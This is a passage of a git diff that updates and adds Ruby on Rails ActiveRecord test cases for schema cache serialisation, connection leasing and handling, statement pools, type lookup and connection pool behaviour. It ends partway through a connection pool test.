-      def test_dump_and_load
-        @cache.columns("posts")
-        @cache.columns_hash("posts")
-        @cache.data_sources("posts")
-        @cache.primary_keys("posts")
+      def test_marshal_dump_and_load_with_ignored_tables
+        assert_not ActiveRecord.schema_cache_ignored_table?("professors")
 
-        @cache = Marshal.load(Marshal.dump(@cache))
+        ActiveRecord.with(schema_cache_ignored_tables: ["professors"]) do
+          assert ActiveRecord.schema_cache_ignored_table?("professors")
+          # Create an empty cache.
+          cache = new_bound_reflection
 
-        assert_no_queries do
-          assert_equal 11, @cache.columns("posts").size
-          assert_equal 11, @cache.columns_hash("posts").size
-          assert @cache.data_sources("posts")
-          assert_equal "id", @cache.primary_keys("posts")
+          Tempfile.create(["schema_cache-", ".dump"]) do |tempfile|
+            # Dump it. It should get populated before dumping.
+            cache.dump_to(tempfile.path)
+
+            # Load a new cache.
+            cache = load_bound_reflection(tempfile.path)
+
+            # Assert a table in the cache
+            assert cache.data_source_exists?("courses"), "expected posts to be in the cached data_sources"
+            assert_equal 3, cache.columns("courses").size
+            assert_equal 3, cache.columns_hash("courses").size
+            assert cache.data_source_exists?("courses")
+            assert_equal "id", cache.primary_keys("courses")
+            assert_equal 1, cache.indexes("courses").size
+
+            # Assert ignored table. Behavior should match non-existent table.
+            assert_nil cache.data_source_exists?("professors"), "expected comments to not be in the cached data_sources"
+            assert_raises ActiveRecord::StatementInvalid do
+              cache.columns("professors")
+            end
+            assert_raises ActiveRecord::StatementInvalid do
+              cache.columns_hash("professors").size
+            end
+            assert_nil cache.primary_keys("professors")
+            assert_equal [], cache.indexes("professors")
+          end
+        end
+      end
+
+      def test_gzip_dumps_identical
+        # Create an empty cache.
+        cache = new_bound_reflection
+
+        Tempfile.create(["schema_cache-", ".yml.gz"]) do |tempfile_a|
+          # Dump it. It should get populated before dumping.
+          cache.dump_to(tempfile_a.path)
+          digest_a = Digest::MD5.file(tempfile_a).hexdigest
+
+          sleep(1) # ensure timestamp changes
+
+          Tempfile.create(["schema_cache-", ".yml.gz"]) do |tempfile_b|
+            # Dump it. It should get populated before dumping.
+            cache.dump_to(tempfile_b.path)
+            digest_b = Digest::MD5.file(tempfile_b).hexdigest
+
+
+            assert_equal digest_a, digest_b
+          end
         end
       end
 
       def test_data_source_exist
-        assert @cache.data_source_exists?("posts")
+        assert @cache.data_source_exists?("courses")
         assert_not @cache.data_source_exists?("foo")
       end
 
       def test_clear_data_source_cache
-        @cache.clear_data_source_cache!("posts")
+        # Cache data sources list.
+        assert @cache.data_source_exists?("courses")
+
+        @cache.clear_data_source_cache!("courses")
+        assert_queries_count(1, include_schema: true) do
+          @cache.data_source_exists?("courses")
+        end
+      end
+
+      test "#columns_hash? is populated by #columns_hash" do
+        assert_not @cache.columns_hash?("courses")
+
+        @cache.columns_hash("courses")
+
+        assert @cache.columns_hash?("courses")
+      end
+
+      test "#columns_hash? is not populated by #data_source_exists?" do
+        assert_not @cache.columns_hash?("courses")
+
+        @cache.data_source_exists?("courses")
+
+        assert_not @cache.columns_hash?("courses")
+      end
+
+      unless in_memory_db?
+        def test_when_lazily_load_schema_cache_is_set_cache_is_lazily_populated_when_est_connection
+          Tempfile.create(["schema_cache-", ".yml"]) do |tempfile|
+            original_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit2", name: "primary")
+            new_config = original_config.configuration_hash.merge(schema_cache_path: tempfile.path)
+
+            ActiveRecord::Base.establish_connection(new_config)
+
+            # cache starts empty
+            assert_nil ActiveRecord::Base.connection_pool.schema_reflection.instance_variable_get(:@cache)
+
+            # now we access the cache, causing it to load
+            assert_not_nil ActiveRecord::Base.schema_cache.version
+
+            assert File.exist?(tempfile)
+            assert_not_nil ActiveRecord::Base.connection_pool.schema_reflection.instance_variable_get(:@cache)
+
+            # assert cache is still empty on new connection (precondition for the
+            # following to show it is loading because of the config change)
+            ActiveRecord::Base.establish_connection(new_config)
+
+            assert File.exist?(tempfile)
+            assert_nil ActiveRecord::Base.connection_pool.schema_reflection.instance_variable_get(:@cache)
+
+            # cache is loaded upon connection when lazily loading is on
+            ActiveRecord.with(lazily_load_schema_cache: true) do
+              ActiveRecord::Base.establish_connection(new_config)
+              ActiveRecord::Base.connection_pool.lease_connection.verify!
+
+              assert File.exist?(tempfile)
+              assert_not_nil ActiveRecord::Base.connection_pool.schema_reflection.instance_variable_get(:@cache)
+            end
+          end
+        ensure
+          ActiveRecord::Base.establish_connection(:arunit)
+        end
+      end
+
+      test "#init_with skips deduplication if told to" do
+        coder = {
+          "columns" => [].freeze,
+          "deduplicated" => true,
+        }
+
+        schema_cache = SchemaCache.allocate
+        schema_cache.init_with(coder)
+        assert_same coder["columns"], schema_cache.instance_variable_get(:@columns)
+      end
+
+      test "#encode_with sorts members" do
+        values = [["z", nil], ["y", nil], ["x", nil]]
+        expected = values.sort.to_h
+
+        named = Struct.new(:name)
+        named_values = [["z", [named.new("c"), named.new("b")]], ["y", [named.new("c"), named.new("b")]], ["x", [named.new("c"), named.new("b")]]]
+        named_expected = named_values.sort.to_h.transform_values { _1.sort_by(&:name) }
+
+        coder = {
+          "columns" => named_values,
+          "primary_keys" => values,
+          "data_sources" => values,
+          "indexes" => named_values,
+          "deduplicated" => true
+        }
+
+        schema_cache = SchemaCache.allocate
+        schema_cache.init_with(coder)
+        schema_cache.encode_with(coder)
+
+        assert_equal named_expected, coder["columns"]
+        assert_equal expected, coder["primary_keys"]
+        assert_equal expected, coder["data_sources"]
+        assert_equal named_expected, coder["indexes"]
+        assert coder.key?("version")
+      end
+
+      private
+        def schema_dump_5_1_path
+          "#{ASSETS_ROOT}/schema_dump_5_1.yml"
+        end
+
+        def schema_dump_8_0_path
+          "#{ASSETS_ROOT}/schema_dump_8_0.yml"
+        end
+    end
+
+    module DumpAndLoadTests
+      def setup
+        @pool = ARUnit2Model.connection_pool
+
+        @deduplicable_registries_were = deduplicable_classes.index_with do |klass|
+          klass.registry.dup
+        end
+      end
+
+      def teardown
+        @deduplicable_registries_were.each do |klass, registry|
+          klass.registry.clear
+          klass.registry.merge!(registry)
+        end
+      end
+
+      def test_dump_and_load_via_disk
+        # Create an empty cache.
+        cache = new_bound_reflection
+
+        Tempfile.create(["schema_cache-", format_extension]) do |tempfile|
+          # Dump it. It should get populated before dumping.
+          cache.dump_to(tempfile.path)
+
+          # Load a new cache.
+          cache = load_bound_reflection(tempfile.path)
+
+          assert_no_queries(include_schema: true) do
+            assert_equal 3, cache.columns("courses").size
+            assert_equal 3, cache.columns("courses").map { |column| column.fetch_cast_type(@pool.lease_connection) }.compact.size
+            assert_equal 3, cache.columns_hash("courses").size
+            assert cache.data_source_exists?("courses")
+            assert_equal "id", cache.primary_keys("courses")
+            assert_equal 1, cache.indexes("courses").size
+          end
+        end
+      end
+
+      def test_dump_and_load_with_gzip
+        # Create an empty cache.
+        cache = new_bound_reflection
+
+        Tempfile.create(["schema_cache-", "#{format_extension}.gz"]) do |tempfile|
+          # Dump it. It should get populated before dumping.
+          cache.dump_to(tempfile.path)
+
+          reset_deduplicable!
+
+          # Unzip and load manually.
+          cache = Zlib::GzipReader.open(tempfile.path) { |gz| load(gz.read) }
+
+          assert_no_queries(include_schema: true) do
+            assert_equal 3, cache.columns(@pool, "courses").size
+            assert_equal 3, cache.columns(@pool, "courses").map { |column| column.fetch_cast_type(@pool.lease_connection) }.compact.size
+            assert_equal 3, cache.columns_hash(@pool, "courses").size
+            assert cache.data_source_exists?(@pool, "courses")
+            assert_equal "id", cache.primary_keys(@pool, "courses")
+            assert_equal 1, cache.indexes(@pool, "courses").size
+          end
+
+          # Load the cache the usual way.
+          cache = load_bound_reflection(tempfile.path)
+
+          assert_no_queries(include_schema: true) do
+            assert_equal 3, cache.columns("courses").size
+            assert_equal 3, cache.columns("courses").map { |column| column.fetch_cast_type(@pool.lease_connection) }.compact.size
+            assert_equal 3, cache.columns_hash("courses").size
+            assert cache.data_source_exists?("courses")
+            assert_equal "id", cache.primary_keys("courses")
+            assert_equal 1, cache.indexes("courses").size
+          end
+        end
       end
 
       private
+        def new_bound_reflection(filename = nil)
+          BoundSchemaReflection.new(SchemaReflection.new(filename), @pool)
+        end
+
+        def load_bound_reflection(filename)
+          reset_deduplicable!
+
+          new_bound_reflection(filename).tap do |cache|
+            cache.load!
+          end
+        end
+
+        def deduplicable_classes
+          klasses = [
+            ActiveRecord::ConnectionAdapters::SqlTypeMetadata,
+            ActiveRecord::ConnectionAdapters::Column,
+          ]
+
+          if defined?(ActiveRecord::ConnectionAdapters::PostgreSQL)
+            klasses << ActiveRecord::ConnectionAdapters::PostgreSQL::TypeMetadata
+          end
+          if defined?(ActiveRecord::ConnectionAdapters::MySQL::TypeMetadata)
+            klasses << ActiveRecord::ConnectionAdapters::MySQL::TypeMetadata
+          end
+
+          klasses.flat_map do |klass|
+            [klass] + klass.descendants
+          end.uniq
+        end
+
+        def reset_deduplicable!
+          deduplicable_classes.each do |klass|
+            klass.registry.clear
+          end
+        end
+    end
+
+    class MarshalFormatTest < ActiveRecord::TestCase
+      include DumpAndLoadTests
+
+      private
+        def format_extension
+          ".dump"
+        end
+
+        def load(data)
+          Marshal.load(data)
+        end
+    end
+
+    class YamlFormatTest < ActiveRecord::TestCase
+      include DumpAndLoadTests
+
+      private
+        def format_extension
+          ".yml"
+        end
 
-        def schema_dump_path
-          "test/assets/schema_dump_5_1.yml"
+        def load(data)
+          YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(data) : YAML.load(data)
         end
     end
   end
diff --git a/activerecord/test/cases/connection_adapters/standalone_connection_test.rb b/activerecord/test/cases/connection_adapters/standalone_connection_test.rb
new file mode 100644
index 0000000000000..e8c2ce0eee3fa
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/standalone_connection_test.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class StandaloneConnectionTest < ActiveRecord::TestCase
+      def setup
+        super
+
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        @connection = db_config.new_connection
+      end
+
+      def test_can_query
+        result = @connection.select_all("SELECT 1")
+        assert_equal [[1]], result.rows
+      end
+
+      def test_async_fallback
+        result = @connection.select_all("SELECT 1", async: true)
+        assert_instance_of FutureResult::Complete, result
+        assert_equal [[1]], result.result.rows
+      end
+
+      def test_can_throw_away
+        @connection.throw_away!
+        assert_not @connection.active?
+      end
+
+      def test_can_close
+        @connection.close
+        assert_not @connection.active?
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/statement_pool_test.rb b/activerecord/test/cases/connection_adapters/statement_pool_test.rb
new file mode 100644
index 0000000000000..182a1aea51ac5
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/statement_pool_test.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class StatementPoolTest < ActiveRecord::TestCase
+      class TestPool < StatementPool
+        private
+          def dealloc(stmt)
+            raise ArgumentError unless stmt
+          end
+      end
+
+      setup do
+        @pool = TestPool.new
+      end
+
+      test "#delete doesn't call dealloc if the statement didn't exist" do
+        stmt = Object.new
+        sql = "SELECT 1"
+        @pool[sql] = stmt
+        assert_same stmt, @pool[sql]
+        assert_same stmt, @pool.delete(sql)
+        assert_nil @pool.delete(sql)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/type_lookup_test.rb b/activerecord/test/cases/connection_adapters/type_lookup_test.rb
index a348c2d783251..1475b7eebd906 100644
--- a/activerecord/test/cases/connection_adapters/type_lookup_test.rb
+++ b/activerecord/test/cases/connection_adapters/type_lookup_test.rb
@@ -1,11 +1,13 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
-unless current_adapter?(:PostgreSQLAdapter) # PostgreSQL does not use type strings for lookup
-  module ActiveRecord
-    module ConnectionAdapters
-      class TypeLookupTest < ActiveRecord::TestCase
+module ActiveRecord
+  module ConnectionAdapters
+    class TypeLookupTest < ActiveRecord::TestCase
+      unless current_adapter?(:PostgreSQLAdapter) # PostgreSQL does not use type strings for lookup
         setup do
-          @connection = ActiveRecord::Base.connection
+          @connection = ActiveRecord::Base.lease_connection
         end
 
         def test_boolean_types
@@ -80,36 +82,23 @@ def test_integer_types
         end
 
         def test_bigint_limit
-          cast_type = @connection.type_map.lookup("bigint")
-          if current_adapter?(:OracleAdapter)
-            assert_equal 19, cast_type.limit
-          else
-            assert_equal 8, cast_type.limit
-          end
+          limit = @connection.send(:type_map).lookup("bigint").send(:_limit)
+
+          assert_equal 8, limit
         end
 
         def test_decimal_without_scale
-          if current_adapter?(:OracleAdapter)
-            {
-              decimal: %w{decimal(2) decimal(2,0) numeric(2) numeric(2,0)},
-              integer: %w{number(2) number(2,0)}
-            }
-          else
-            { decimal: %w{decimal(2) decimal(2,0) numeric(2) numeric(2,0) number(2) number(2,0)} }
-          end.each do |expected_type, types|
-            types.each do |type|
-              cast_type = @connection.type_map.lookup(type)
-
-              assert_equal expected_type, cast_type.type
-              assert_equal 2, cast_type.cast(2.1)
-            end
+          %w{decimal(2) decimal(2,0) numeric(2) numeric(2,0) number(2) number(2,0)}.each do |type|
+            cast_type = @connection.send(:type_map).lookup(type)
+
+            assert_equal :decimal, cast_type.type
+            assert_equal 2, cast_type.cast(2.1)
           end
         end
 
         private
-
           def assert_lookup_type(type, lookup)
-            cast_type = @connection.type_map.lookup(lookup)
+            cast_type = @connection.send(:type_map).lookup(lookup)
             assert_equal type, cast_type.type
           end
       end
diff --git a/activerecord/test/cases/connection_handling_test.rb b/activerecord/test/cases/connection_handling_test.rb
new file mode 100644
index 0000000000000..b0bdd614d8a35
--- /dev/null
+++ b/activerecord/test/cases/connection_handling_test.rb
@@ -0,0 +1,187 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+
+module ActiveRecord
+  class ConnectionHandlingTest < ActiveRecord::TestCase
+    fixtures :posts
+
+    setup do
+      @_permanent_connection_checkout_was = ActiveRecord.permanent_connection_checkout
+    end
+
+    teardown do
+      ActiveRecord.permanent_connection_checkout = @_permanent_connection_checkout_was
+    end
+
+    unless in_memory_db?
+      test "#with_connection lease the connection for the duration of the block" do
+        ActiveRecord::Base.release_connection
+        assert_not_predicate ActiveRecord::Base.connection_pool, :active_connection?
+
+        ActiveRecord::Base.with_connection do |connection|
+          assert_predicate ActiveRecord::Base.connection_pool, :active_connection?
+        end
+
+        assert_not_predicate ActiveRecord::Base.connection_pool, :active_connection?
+      end
+
+      test "#lease_connection makes the lease permanent even inside #with_connection" do
+        ActiveRecord::Base.release_connection
+        assert_not_predicate ActiveRecord::Base.connection_pool, :active_connection?
+
+        conn = nil
+        ActiveRecord::Base.with_connection do |connection|
+          conn = connection
+          assert_predicate ActiveRecord::Base.connection_pool, :active_connection?
+          2.times do
+            assert_same connection, ActiveRecord::Base.lease_connection
+          end
+        end
+
+        assert_predicate ActiveRecord::Base.connection_pool, :active_connection?
+        assert_same conn, ActiveRecord::Base.lease_connection
+      end
+
+      test "#lease_connection makes the lease permanent even inside #with_connection(prevent_permanent_checkout: true)" do
+        ActiveRecord::Base.release_connection
+
+        ActiveRecord::Base.with_connection(prevent_permanent_checkout: true) do |connection|
+          assert_same connection, ActiveRecord::Base.lease_connection
+        end
+
+        assert_not_predicate ActiveRecord::Base.connection_pool, :active_connection?
+      end
+
+      test "#with_connection use the already leased connection if available" do
+        leased_connection = ActiveRecord::Base.lease_connection
+        assert_predicate ActiveRecord::Base.connection_pool, :active_connection?
+
+        ActiveRecord::Base.with_connection do |connection|
+          assert_same leased_connection, connection
+          assert_same ActiveRecord::Base.lease_connection, connection
+        end
+
+        assert_predicate ActiveRecord::Base.connection_pool, :active_connection?
+        assert_same ActiveRecord::Base.lease_connection, leased_connection
+      end
+
+      test "#with_connection is reentrant" do
+        leased_connection = ActiveRecord::Base.lease_connection
+        assert_predicate ActiveRecord::Base.connection_pool, :active_connection?
+
+        ActiveRecord::Base.with_connection do |connection|
+          assert_same leased_connection, connection
+          assert_same ActiveRecord::Base.lease_connection, connection
+
+          ActiveRecord::Base.with_connection do |connection2|
+            assert_same leased_connection, connection2
+            assert_same ActiveRecord::Base.lease_connection, connection2
+          end
+        end
+
+        assert_predicate ActiveRecord::Base.connection_pool, :active_connection?
+        assert_same ActiveRecord::Base.lease_connection, leased_connection
+      end
+
+      test "#connection is a soft-deprecated alias to #lease_connection" do
+        ActiveRecord.permanent_connection_checkout = true
+
+        ActiveRecord::Base.release_connection
+        assert_not_predicate ActiveRecord::Base.connection_pool, :active_connection?
+
+        conn = nil
+        ActiveRecord::Base.with_connection do |connection|
+          conn = connection
+          assert_predicate ActiveRecord::Base.connection_pool, :active_connection?
+          2.times do
+            assert_same connection, ActiveRecord::Base.connection
+          end
+        end
+
+        assert_predicate ActiveRecord::Base.connection_pool, :active_connection?
+        assert_same conn, ActiveRecord::Base.connection
+
+        ActiveRecord::Base.release_connection
+      end
+
+      test "#connection emits a deprecation warning if ActiveRecord.permanent_connection_checkout == :deprecated" do
+        ActiveRecord.permanent_connection_checkout = :deprecated
+
+        ActiveRecord::Base.release_connection
+
+        assert_deprecated(ActiveRecord.deprecator) do
+          ActiveRecord::Base.connection
+        end
+
+        assert_not_deprecated(ActiveRecord.deprecator) do
+          ActiveRecord::Base.connection
+        end
+
+        ActiveRecord::Base.release_connection
+
+        assert_deprecated(ActiveRecord.deprecator) do
+          ActiveRecord::Base.connection
+        end
+
+        ActiveRecord::Base.release_connection
+
+        ActiveRecord::Base.with_connection do
+          assert_deprecated(ActiveRecord.deprecator) do
+            ActiveRecord::Base.connection
+          end
+        end
+      end
+
+      test "#connection raises an error if ActiveRecord.permanent_connection_checkout == :disallowed" do
+        ActiveRecord.permanent_connection_checkout = :disallowed
+
+        ActiveRecord::Base.release_connection
+
+        assert_raises(ActiveRecordError) do
+          ActiveRecord::Base.connection
+        end
+
+        ActiveRecord::Base.with_connection do
+          assert_raises(ActiveRecordError) do
+            ActiveRecord::Base.connection
+          end
+        end
+
+        ActiveRecord::Base.lease_connection
+
+        assert_nothing_raised do
+          ActiveRecord::Base.connection
+        end
+      end
+
+      test "#connection doesn't make the lease permanent if inside #with_connection(prevent_permanent_checkout: true)" do
+        ActiveRecord.permanent_connection_checkout = :disallowed
+
+        ActiveRecord::Base.release_connection
+
+        ActiveRecord::Base.with_connection(prevent_permanent_checkout: true) do |connection|
+          assert_same connection, ActiveRecord::Base.connection
+        end
+
+        assert_not_predicate ActiveRecord::Base.connection_pool, :active_connection?
+      end
+
+      test "common APIs don't permanently hold a connection when permanent checkout is deprecated or disallowed" do
+        ActiveRecord.permanent_connection_checkout = :deprecated
+        ActiveRecord::Base.release_connection
+        assert_not_predicate ActiveRecord::Base.connection_pool, :active_connection?
+
+        Post.create!(title: "foo", body: "bar")
+        assert_not_predicate Post.connection_pool, :active_connection?
+
+        Post.first
+        assert_not_predicate Post.connection_pool, :active_connection?
+
+        Post.count
+        assert_not_predicate Post.connection_pool, :active_connection?
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_management_test.rb b/activerecord/test/cases/connection_management_test.rb
index d1e946d401100..5885dde168b12 100644
--- a/activerecord/test/cases/connection_management_test.rb
+++ b/activerecord/test/cases/connection_management_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "rack"
 
@@ -24,8 +26,8 @@ def setup
         @management = middleware(@app)
 
         # make sure we have an active connection
-        assert ActiveRecord::Base.connection
-        assert ActiveRecord::Base.connection_handler.active_connections?
+        assert ActiveRecord::Base.lease_connection
+        assert ActiveRecord::Base.connection_handler.active_connections?(:all)
       end
 
       def test_app_delegation
@@ -45,14 +47,27 @@ def test_body_responds_to_each
       def test_connections_are_cleared_after_body_close
         _, _, body = @management.call(@env)
         body.close
-        assert !ActiveRecord::Base.connection_handler.active_connections?
+        assert_not ActiveRecord::Base.connection_handler.active_connections?(:all)
+      end
+
+      test "connections are cleared even if inside a non-joinable transaction" do
+        ActiveRecord::Base.connection_pool.pin_connection!(Thread.current)
+        Thread.new do
+          assert ActiveRecord::Base.lease_connection
+          assert ActiveRecord::Base.connection_handler.active_connections?(:all)
+          _, _, body = @management.call(@env)
+          body.close
+          assert_not ActiveRecord::Base.connection_handler.active_connections?(:all)
+        end.join
+      ensure
+        ActiveRecord::Base.connection_pool.unpin_connection!
       end
 
       def test_active_connections_are_not_cleared_on_body_close_during_transaction
         ActiveRecord::Base.transaction do
           _, _, body = @management.call(@env)
           body.close
-          assert ActiveRecord::Base.connection_handler.active_connections?
+          assert ActiveRecord::Base.connection_handler.active_connections?(:all)
         end
       end
 
@@ -60,7 +75,7 @@ def test_connections_closed_if_exception
         app       = Class.new(App) { def call(env); raise NotImplementedError; end }.new
         explosive = middleware(app)
         assert_raises(NotImplementedError) { explosive.call(@env) }
-        assert !ActiveRecord::Base.connection_handler.active_connections?
+        assert_not ActiveRecord::Base.connection_handler.active_connections?(:all)
       end
 
       def test_connections_not_closed_if_exception_inside_transaction
@@ -68,14 +83,36 @@ def test_connections_not_closed_if_exception_inside_transaction
           app               = Class.new(App) { def call(env); raise RuntimeError; end }.new
           explosive         = middleware(app)
           assert_raises(RuntimeError) { explosive.call(@env) }
-          assert ActiveRecord::Base.connection_handler.active_connections?
+          assert ActiveRecord::Base.connection_handler.active_connections?(:all)
+        end
+      end
+
+      test "cancel asynchronous queries if an exception is raised" do
+        unless ActiveRecord::Base.lease_connection.supports_concurrent_connections?
+          skip "This adapter doesn't support asynchronous queries"
+        end
+
+        app = Class.new(App) do
+          attr_reader :future_result
+
+          def call(env)
+            @future_result = ActiveRecord::Base.lease_connection.select_all("SELECT * FROM does_not_exists", async: true)
+            raise NotImplementedError
+          end
+        end.new
+
+        explosive = middleware(app)
+        assert_raises(NotImplementedError) { explosive.call(@env) }
+
+        assert_raises FutureResult::Canceled do
+          app.future_result.to_a
         end
       end
 
       test "doesn't clear active connections when running in a test case" do
         executor.wrap do
           @management.call(@env)
-          assert ActiveRecord::Base.connection_handler.active_connections?
+          assert ActiveRecord::Base.connection_handler.active_connections?(:all)
         end
       end
 
@@ -83,7 +120,7 @@ def test_connections_not_closed_if_exception_inside_transaction
         body = Class.new(String) { def to_path; "/path"; end }.new
         app = lambda { |_| [200, {}, body] }
         response_body = middleware(app).call(@env)[2]
-        assert response_body.respond_to?(:to_path)
+        assert_respond_to response_body, :to_path
         assert_equal "/path", response_body.to_path
       end
 
@@ -98,13 +135,15 @@ def test_connections_not_closed_if_exception_inside_transaction
         def executor
           @executor ||= Class.new(ActiveSupport::Executor).tap do |exe|
             ActiveRecord::QueryCache.install_executor_hooks(exe)
+            ActiveRecord::AsynchronousQueriesTracker.install_executor_hooks(exe)
+            ActiveRecord::ConnectionAdapters::ConnectionPool.install_executor_hooks(exe)
           end
         end
 
         def middleware(app)
           lambda do |env|
             a, b, c = executor.wrap { app.call(env) }
-            [a, b, Rack::BodyProxy.new(c) {}]
+            [a, b, Rack::BodyProxy.new(c) { }]
           end
         end
     end
diff --git a/activerecord/test/cases/connection_pool_test.rb b/activerecord/test/cases/connection_pool_test.rb
index afd0ac2dd4454..df072d11180a6 100644
--- a/activerecord/test/cases/connection_pool_test.rb
+++ b/activerecord/test/cases/connection_pool_test.rb
@@ -1,16 +1,33 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "concurrent/atomic/count_down_latch"
 
 module ActiveRecord
   module ConnectionAdapters
-    class ConnectionPoolTest < ActiveRecord::TestCase
+    module ConnectionPoolTests
+      def self.included(test)
+        super
+        test.use_transactional_tests = false
+      end
+
       attr_reader :pool
 
       def setup
-        super
-
         # Keep a duplicate pool so we do not bother others
-        @pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
+        config = ActiveRecord::Base.connection_pool.db_config
+        @db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new(
+          config.env_name,
+          config.name,
+          config.configuration_hash.merge(
+            checkout_timeout: 0.2, # Reduce checkout_timeout to speedup tests
+          )
+        )
+
+        @pool_config = ActiveRecord::ConnectionAdapters::PoolConfig.new(ActiveRecord::Base, @db_config, :writing, :default)
+        @pool = ConnectionPool.new(@pool_config)
+
+        @pools = [@pool]
 
         if in_memory_db?
           # Separate connections to an in-memory database create an entirely new database,
@@ -23,28 +40,25 @@ def setup
         end
       end
 
-      teardown do
-        @pool.disconnect!
-      end
-
-      def active_connections(pool)
-        pool.connections.find_all(&:in_use?)
+      def teardown
+        super
+        @pools&.each(&:disconnect!)
       end
 
       def test_checkout_after_close
-        connection = pool.connection
-        assert connection.in_use?
+        connection = pool.lease_connection
+        assert_predicate connection, :in_use?
 
         connection.close
-        assert !connection.in_use?
+        assert_not_predicate connection, :in_use?
 
-        assert pool.connection.in_use?
+        assert_predicate pool.lease_connection, :in_use?
       end
 
       def test_released_connection_moves_between_threads
         thread_conn = nil
 
-        Thread.new {
+        new_thread {
           pool.with_connection do |conn|
             thread_conn = conn
           end
@@ -52,7 +66,7 @@ def test_released_connection_moves_between_threads
 
         assert thread_conn
 
-        Thread.new {
+        new_thread {
           pool.with_connection do |conn|
             assert_equal thread_conn, conn
           end
@@ -62,14 +76,24 @@ def test_released_connection_moves_between_threads
       def test_with_connection
         assert_equal 0, active_connections(pool).size
 
-        main_thread = pool.connection
+        main_thread = pool.lease_connection
         assert_equal 1, active_connections(pool).size
 
-        Thread.new {
+        new_thread {
+          pool.with_connection do |conn|
+            assert conn
+            assert_equal 2, active_connections(pool).size
+          end
+          assert_equal 1, active_connections(pool).size
+
           pool.with_connection do |conn|
             assert conn
             assert_equal 2, active_connections(pool).size
+            pool.lease_connection
           end
+
+          assert_equal 2, active_connections(pool).size
+          pool.release_connection
           assert_equal 1, active_connections(pool).size
         }.join
 
@@ -77,42 +101,100 @@ def test_with_connection
         assert_equal 0, active_connections(pool).size
       end
 
+      def test_new_connection_no_query
+        skip("Can't test with in-memory dbs") if in_memory_db?
+        assert_equal 0, pool.connections.size
+        pool.with_connection { |_conn| } # warm the schema cache
+        pool.flush(0)
+        assert_equal 0, pool.connections.size
+
+        assert_no_queries do
+          pool.with_connection { |_conn| }
+        end
+      end
+
       def test_active_connection_in_use
-        assert !pool.active_connection?
-        main_thread = pool.connection
+        assert_not_predicate pool, :active_connection?
+        main_thread = pool.lease_connection
 
-        assert pool.active_connection?
+        assert_predicate pool, :active_connection?
 
         main_thread.close
 
-        assert !pool.active_connection?
+        assert_not_predicate pool, :active_connection?
       end
 
       def test_full_pool_exception
-        @pool.size.times { @pool.checkout }
-        assert_raises(ConnectionTimeoutError) do
+        @pool.checkout_timeout = 0.001 # no need to delay test suite by waiting the whole full default timeout
+        @pool.size.times { assert @pool.checkout }
+
+        error = assert_raises(ConnectionTimeoutError) do
           @pool.checkout
         end
+        assert_equal @pool, error.connection_pool
       end
 
       def test_full_pool_blocks
+        skip_fiber_testing
         cs = @pool.size.times.map { @pool.checkout }
-        t = Thread.new { @pool.checkout }
+        t = new_thread { @pool.checkout }
 
         # make sure our thread is in the timeout section
-        Thread.pass until @pool.num_waiting_in_queue == 1
+        pass_to(t) until @pool.num_waiting_in_queue == 1
 
         connection = cs.first
         connection.close
         assert_equal connection, t.join.value
       end
 
+      def test_full_pool_blocking_shares_load_interlock
+        skip_fiber_testing
+        @pool.instance_variable_set(:@max_connections, 1)
+
+        load_interlock_latch = Concurrent::CountDownLatch.new
+        connection_latch = Concurrent::CountDownLatch.new
+
+        able_to_get_connection = false
+        able_to_load = false
+
+        thread_with_load_interlock = new_thread do
+          ActiveSupport::Dependencies.interlock.running do
+            load_interlock_latch.count_down
+            connection_latch.wait
+
+            @pool.with_connection do
+              able_to_get_connection = true
+            end
+          end
+        end
+
+        thread_with_last_connection = new_thread do
+          @pool.with_connection do
+            connection_latch.count_down
+            load_interlock_latch.wait
+
+            assert_deprecated(/ActiveSupport::Dependencies::Interlock#loading is deprecated/, ActiveSupport.deprecator) do
+              ActiveSupport::Dependencies.interlock.loading do
+                able_to_load = true
+              end
+            end
+          end
+        end
+
+        thread_with_load_interlock.join
+        thread_with_last_connection.join
+
+        assert able_to_get_connection
+        assert able_to_load
+      end
+
       def test_removing_releases_latch
+        skip_fiber_testing
         cs = @pool.size.times.map { @pool.checkout }
-        t = Thread.new { @pool.checkout }
+        t = new_thread { @pool.checkout }
 
         # make sure our thread is in the timeout section
-        Thread.pass until @pool.num_waiting_in_queue == 1
+        pass_to(t) until @pool.num_waiting_in_queue == 1
 
         connection = cs.first
         @pool.remove connection
@@ -135,13 +217,13 @@ def test_reap_and_active
       def test_reap_inactive
         ready = Concurrent::CountDownLatch.new
         @pool.checkout
-        child = Thread.new do
+        child = new_thread do
           @pool.checkout
           @pool.checkout
           ready.count_down
-          Thread.stop
+          stop_thread
         end
-        ready.wait
+        pass_to(child) until ready.wait(0)
 
         assert_equal 3, active_connections(@pool).size
 
@@ -154,42 +236,553 @@ def test_reap_inactive
         @pool.connections.each { |conn| conn.close if conn.in_use? }
       end
 
+      def test_inactive_are_returned_from_dead_thread
+        ready = Concurrent::CountDownLatch.new
+        @pool.instance_variable_set(:@max_connections, 1)
+
+        child = new_thread do
+          @pool.checkout
+          ready.count_down
+          stop_thread
+        end
+
+        pass_to(child) until ready.wait(0)
+
+        assert_equal 1, active_connections(@pool).size
+
+        child.terminate
+        child.join
+
+        @pool.checkout
+
+        assert_equal 1, active_connections(@pool).size
+      ensure
+        @pool.connections.each { |conn| conn.close if conn.in_use? }
+      end
+
+      def test_idle_timeout_configuration
+        @pool.disconnect!
+
+        @pool = new_pool_with_options(idle_timeout: "200")
+        idle_conn = @pool.checkout
+        @pool.checkin(idle_conn)
+
